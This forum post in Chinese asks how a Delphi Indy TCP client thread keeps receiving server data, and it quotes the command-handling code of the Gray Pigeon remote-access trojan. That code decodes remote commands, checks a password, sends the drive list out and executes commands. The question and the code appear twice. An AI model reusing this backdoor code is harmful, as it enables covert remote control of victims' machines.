主题:IndyTCPClient如何接收服务端发送的数据啊
对于灰鸽子中,其代码是如下完成的
在连接成功后,创建了一个TClienthandleThread线程,用于接收服务端发送过来的
数据。然后将数据送到HandleInput中处理。
问题是,如果这个线程创建完执行完毕后,服务端再有数据发送过来的话,是怎么处理的。我在整个程序中未看到有再创建这个线程的代码。
constructor TClientHandleThread.Create;
begin
inherited Create(True); //完全继承TThread线程的过程
FreeOnTerminate:=True; //线程结束后释放
Suspended := false; //为false时则创建时即调用了Execute
//Priority:=tpIdle;
end;
destructor TClientHandleThread.Destroy;
begin
inherited destroy;
end;
{ TODO -oHuzl -c灰鸽子代码分析 : TClientHandleThread.HandleInput }
//HandleInput函数创建名柄输入
procedure TClientHandleThread.HandleInput;
var
RDStrList:TStringList; //服务端读取的字符串List
Request:String; //请求的字符串
begin
try
RDStrList:=TStringList.Create;
RDStrList.Text:=CommandStr;
if RDStrList[0]=Head then //字符串头为Pigeon
begin
if RDStrList[1]<>Peizhi.PassWord then //如果密码错误
begin
H_GZVIP2004.IdTCPOnline.Write(EncodeBase64('886')+EOL);
//由OnLine客户端传送不能连接的信息
RDStrList.Free;
Exit;
end;
if RDStrList[2]='000' then //如果为000,则
begin
if H_GZVIP2004.ConRpcport(H_GZVIP2004.IdTCPClient1) then
//由新的TCPClient1与服务端连接
begin
Request:=GetDrivernum; //取本机的驱动器
H_GZVIP2004.SendStreamToClient(H_GZVIP2004.IdTCPClient1,'001',Request);
//由TCPClient1发送本机的驱动器至远程主机
end;
RDStrList.Free;
Exit;
end;
RDStrList.Delete(1);
H_GZVIP2004.ZhiXingCmd(RDStrList);//根据RDStrList中数据进行执行操作
end;
RDStrList.Free;
except
H_GZVIP2004.ToClientDisconnect; //开
Terminate; //终止HandleClient线程
Exit;
end;
end;
{ TODO -oHuzl -c灰鸽子代码分析 : HandleThread.Excute }
//此过程完成了对服务端传来的数据进行处理,并转成CommandStr,以供HandleClient使用
procedure TClientHandleThread.Execute;
var
Thesize:Integer;
ThtStr:String;
RsltStream: TMemoryStream;
begin
while not Terminated do //常用的判断线程是否结束
begin
if not H_GZVIP2004.IdTCPOnline.Connected then
//如果在线客户端未连接上,则
begin
H_GZVIP2004.ToClientDisconnect; //完成对所有连接的断开,并重启了Timer
Break; //退出While
end
else begin
try
ThtStr:=H_GZVIP2004.IdTCPOnline.ReadLn(EOL); //使用OnLineClient读取命令
Thesize:=Strtoint(ThtStr);
if Thesize>0 then
begin
try
RsltStream := TmemoryStream.Create;
H_GZVIP2004.IdTCPOnline.ReadStream(RsltStream,Thesize,False);
RsltStream.Position := 0;
SetLength(CommandStr, RsltStream.Size); //设置命令字符串长度
RsltStream.Read(CommandStr[1], RsltStream.Size); //将流数据读入命令字符串中
CommandStr:=DecodeBase64(CommandStr);
RsltStream.Free;
{ TODO -oHuzl -c灰鸽子代码分析 : Synchronize(Method)不懂 }
Synchronize(HandleInput); //线程同步调用HandleInput
Except
H_GZVIP2004.ToClientDisconnect;
Break;
end;
end;
except
end;
end;
end;
end;
在连接成功后,创建了一个TClienthandleThread线程,用于接收服务端发送过来的
数据。然后将数据送到HandleInput中处理。
问题是,如果这个线程创建完执行完毕后,服务端再有数据发送过来的话,是怎么处理的。我在整个程序中未看到有再创建这个线程的代码。
constructor TClientHandleThread.Create;
begin
inherited Create(True); //完全继承TThread线程的过程
FreeOnTerminate:=True; //线程结束后释放
Suspended := false; //为false时则创建时即调用了Execute
//Priority:=tpIdle;
end;
destructor TClientHandleThread.Destroy;
begin
inherited destroy;
end;
{ TODO -oHuzl -c灰鸽子代码分析 : TClientHandleThread.HandleInput }
//HandleInput函数创建名柄输入
procedure TClientHandleThread.HandleInput;
var
RDStrList:TStringList; //服务端读取的字符串List
Request:String; //请求的字符串
begin
try
RDStrList:=TStringList.Create;
RDStrList.Text:=CommandStr;
if RDStrList[0]=Head then //字符串头为Pigeon
begin
if RDStrList[1]<>Peizhi.PassWord then //如果密码错误
begin
H_GZVIP2004.IdTCPOnline.Write(EncodeBase64('886')+EOL);
//由OnLine客户端传送不能连接的信息
RDStrList.Free;
Exit;
end;
if RDStrList[2]='000' then //如果为000,则
begin
if H_GZVIP2004.ConRpcport(H_GZVIP2004.IdTCPClient1) then
//由新的TCPClient1与服务端连接
begin
Request:=GetDrivernum; //取本机的驱动器
H_GZVIP2004.SendStreamToClient(H_GZVIP2004.IdTCPClient1,'001',Request);
//由TCPClient1发送本机的驱动器至远程主机
end;
RDStrList.Free;
Exit;
end;
RDStrList.Delete(1);
H_GZVIP2004.ZhiXingCmd(RDStrList);//根据RDStrList中数据进行执行操作
end;
RDStrList.Free;
except
H_GZVIP2004.ToClientDisconnect; //开
Terminate; //终止HandleClient线程
Exit;
end;
end;
{ TODO -oHuzl -c灰鸽子代码分析 : HandleThread.Excute }
//此过程完成了对服务端传来的数据进行处理,并转成CommandStr,以供HandleClient使用
procedure TClientHandleThread.Execute;
var
Thesize:Integer;
ThtStr:String;
RsltStream: TMemoryStream;
begin
while not Terminated do //常用的判断线程是否结束
begin
if not H_GZVIP2004.IdTCPOnline.Connected then
//如果在线客户端未连接上,则
begin
H_GZVIP2004.ToClientDisconnect; //完成对所有连接的断开,并重启了Timer
Break; //退出While
end
else begin
try
ThtStr:=H_GZVIP2004.IdTCPOnline.ReadLn(EOL); //使用OnLineClient读取命令
Thesize:=Strtoint(ThtStr);
if Thesize>0 then
begin
try
RsltStream := TmemoryStream.Create;
H_GZVIP2004.IdTCPOnline.ReadStream(RsltStream,Thesize,False);
RsltStream.Position := 0;
SetLength(CommandStr, RsltStream.Size); //设置命令字符串长度
RsltStream.Read(CommandStr[1], RsltStream.Size); //将流数据读入命令字符串中
CommandStr:=DecodeBase64(CommandStr);
RsltStream.Free;
{ TODO -oHuzl -c灰鸽子代码分析 : Synchronize(Method)不懂 }
Synchronize(HandleInput); //线程同步调用HandleInput
Except
H_GZVIP2004.ToClientDisconnect;
Break;
end;
end;
except
end;
end;
end;
end;